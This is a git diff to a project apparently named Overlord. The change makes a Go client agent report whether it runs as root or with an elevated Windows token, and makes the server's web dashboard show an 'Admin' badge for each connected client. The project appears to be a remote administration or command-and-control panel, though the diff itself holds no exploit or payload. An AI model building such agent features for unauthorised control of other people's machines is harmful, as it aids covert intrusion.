diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 29bd4c7..af2dde0 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -612,6 +612,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. hello.CPU = hw.CPU hello.GPU = hw.GPU hello.RAM = hw.RAM + hello.IsAdmin = sysinfo.IsAdmin() if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { return fmt.Errorf("send hello: %w", err) diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_other.go b/Overlord-Client/cmd/agent/sysinfo/admin_other.go new file mode 100644 index 0000000..d4e0dae --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/admin_other.go @@ -0,0 +1,10 @@ +//go:build !windows + +package sysinfo + +import "os" + +// root == admin +func IsAdmin() bool { + return os.Getuid() == 0 +} diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_windows.go b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go new file mode 100644 index 0000000..5f1c8ab --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go @@ -0,0 +1,11 @@ +//go:build windows + +package sysinfo + +import "golang.org/x/sys/windows" + +// check current process token to see if we're admin asf +func IsAdmin() bool { + token := windows.GetCurrentProcessToken() + return token.IsElevated() +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index a8f129c..2d2cd2c 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -19,6 +19,7 @@ type Hello struct { CPU string `msgpack:"cpu,omitempty"` GPU string `msgpack:"gpu,omitempty"` RAM string `msgpack:"ram,omitempty"` + IsAdmin bool `msgpack:"isAdmin,omitempty"` } type EnrollmentChallenge struct { diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index 591ad7f..e5c6c9d 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -429,6 +429,11 @@ p { color: #94a3b8; border-color: rgba(71, 85, 105, 0.55); } +.pill-admin { + background: rgba(234, 179, 8, 0.18); + color: #fef08a; + border-color: rgba(234, 179, 8, 0.45); +} /* Hardware info toggle & panel */ .pill-hw { diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index fda69a4..cf575af 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -205,6 +205,7 @@ export function createRenderer({ card.dataset.nickname = String(client.nickname || ""); card.dataset.customTag = String(client.customTag || ""); card.dataset.bookmarked = String(!!client.bookmarked); + card.dataset.admin = String(!!client.isAdmin); card._customTagNote = String(client.customTagNote || ""); const os = osBadge(client.os || "unknown"); const arch = archBadge(client.arch || ""); @@ -266,6 +267,7 @@ export function createRenderer({ ${client.online ? "Online" : "Offline"} + ${client.isAdmin ? ` Admin` : ""} ${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => { const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" }; const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" }; diff --git a/Overlord-Server/public/index.html b/Overlord-Server/public/index.html index 34e6f45..dabf752 100644 --- a/Overlord-Server/public/index.html +++ b/Overlord-Server/public/index.html @@ -100,6 +100,7 @@ +